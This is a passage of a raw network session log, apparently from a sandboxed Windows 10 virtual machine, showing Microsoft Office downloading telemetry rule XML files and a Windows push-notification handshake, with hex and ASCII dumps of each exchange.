65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045731Z-16547b76f7fgfpmjhC1DFWw6ec00000004u0000000006k6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045732Z-16547b76f7fmcv27hC1DFWgpcg000000045g000000004hb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045732Z-1866b5c5fbb2t6txhC1DFWa2qc00000005cg00000000555r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49817	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:32 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 2f 6c 63 52 32 6a 59 57 6b 2b 75 4e 46 59 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 64 37 34 39 65 33 31 62 30 30 38 37 31 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8/lcR2jYWk+uNFY8.1Context: 3cd749e31b008718
2024-11-18 04:57:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 04:57:32 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 2f 6c 63 52 32 6a 59 57 6b 2b 75 4e 46 59 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 64 37 34 39 65 33 31 62 30 30 38 37 31 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8/lcR2jYWk+uNFY8.2Context: 3cd749e31b008718<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-18 04:57:32 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 2f 6c 63 52 32 6a 59 57 6b 2b 75 4e 46 59 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 64 37 34 39 65 33 31 62 30 30 38 37 31 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8/lcR2jYWk+uNFY8.3Context: 3cd749e31b008718<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 04:57:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 04:57:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 52 78 69 52 6f 65 38 46 45 4f 57 47 6e 70 61 45 77 68 43 57 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +RxiRoe8FEOWGnpaEwhCWw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045732Z-16547b76f7fqqjnnhC1DFWxv7400000003ng000000008ntp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:32 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: cc141125-801e-0067-1cd2-37fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045732Z-16547b76f7fwm7vghC1DFW900s00000002yg000000005wkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:32 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045732Z-16547b76f7f9s8x7hC1DFWywrg000000053000000000c215 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045732Z-16547b76f7fwm7vghC1DFW900s00000002xg0000000095gc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:33 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045733Z-16547b76f7fgvq8chC1DFWhd2w00000005zg000000002cvr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:33 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045733Z-16547b76f7fpdsp9hC1DFW8f5000000002wg00000000cu56 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
